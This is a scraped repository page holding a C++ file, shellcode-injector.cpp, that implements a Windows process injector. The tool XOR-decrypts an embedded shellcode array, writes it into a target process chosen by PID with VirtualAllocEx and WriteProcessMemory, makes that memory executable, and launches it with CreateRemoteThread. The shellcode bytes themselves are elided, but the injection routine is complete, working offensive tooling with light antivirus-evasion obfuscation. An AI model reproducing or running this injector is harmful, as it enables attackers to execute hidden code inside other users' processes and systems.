-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathshellcode-injector.cpp
More file actions
123 lines (98 loc) · 3.49 KB
/
Copy pathshellcode-injector.cpp
File metadata and controls
123 lines (98 loc) · 3.49 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#include <string>
bool IsTargetProcessCompatible(DWORD pid) {
BOOL isWow64 = FALSE;
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
if (!hProcess) return false;
if (!IsWow64Process(hProcess, &isWow64)) {
CloseHandle(hProcess);
return false;
}
CloseHandle(hProcess);
#ifdef _WIN64
return !isWow64;
#else
return isWow64;
#endif
}
void DecryptShellcode(unsigned char* data, size_t size, unsigned char key) {
for (size_t i = 0; i < size; ++i) {
data[i] ^= key;
}
}
int main(int argc, char* argv[]) {
if (argc < 2) {
printf("[!] Usage: %s <PID>\n", argv[0]);
return ERROR_INVALID_PARAMETER;
}
DWORD pid = strtoul(argv[1], nullptr, 10);
if (pid == 0) {
fprintf(stderr, "[!] Invalid PID specified\n");
return ERROR_INVALID_PARAMETER;
}
if (!IsTargetProcessCompatible(pid)) {
fprintf(stderr, "[!] Architecture mismatch between injector and target process\n");
return ERROR_INVALID_HANDLE;
}
unsigned char shellcode[] = { ... };
const unsigned char XOR_KEY = 0xAA;
DecryptShellcode(shellcode, sizeof(shellcode), XOR_KEY);
HANDLE hProcess = OpenProcess(
PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION, FALSE, pid
);
if (!hProcess) {
fprintf(stderr, "[!] OpenProcess failed (Error: 0x%08lX)\n", GetLastError());
return GetLastError();
}
LPVOID remoteMem = VirtualAllocEx(
hProcess, nullptr, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE
);
if (!remoteMem) {
fprintf(stderr, "[!] VirtualAllocEx failed (Error: 0x%08lX)\n", GetLastError());
CloseHandle(hProcess);
return GetLastError();
}
SIZE_T bytesWritten;
if (!WriteProcessMemory(
hProcess, remoteMem, shellcode, sizeof(shellcode), &bytesWritten
)) {
fprintf(stderr, "[!] WriteProcessMemory failed (Error: 0x%08lX)\n", GetLastError());
VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
CloseHandle(hProcess);
return GetLastError();
}
DWORD oldProtect;
if (!VirtualProtectEx(
hProcess, remoteMem, sizeof(shellcode), PAGE_EXECUTE_READ, &oldProtect
)) {
fprintf(stderr, "[!] VirtualProtectEx failed (Error: 0x%08lX)\n", GetLastError());
}
HANDLE hThread = CreateRemoteThread(
hProcess, nullptr, 0, reinterpret_cast<LPTHREAD_START_ROUTINE>(remoteMem), nullptr, 0, nullptr
);
if (!hThread) {
fprintf(stderr, "[!] CreateRemoteThread failed (Error: 0x%08lX)\n", GetLastError());
VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
CloseHandle(hProcess);
return GetLastError();
}
const DWORD waitTimeout = 10000; // таймаут для чека
DWORD waitResult = WaitForSingleObject(hThread, waitTimeout);
switch (waitResult) {
case WAIT_OBJECT_0:
printf("[+] Payload executed successfully\n");
break;
case WAIT_TIMEOUT:
fprintf(stderr, "[!] Execution timed out after %d ms\n", waitTimeout);
break;
case WAIT_FAILED:
fprintf(stderr, "[!] WaitForSingleObject failed (Error: 0x%08lX)\n", GetLastError());
break;
}
VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
CloseHandle(hThread);
CloseHandle(hProcess);
return ERROR_SUCCESS;
}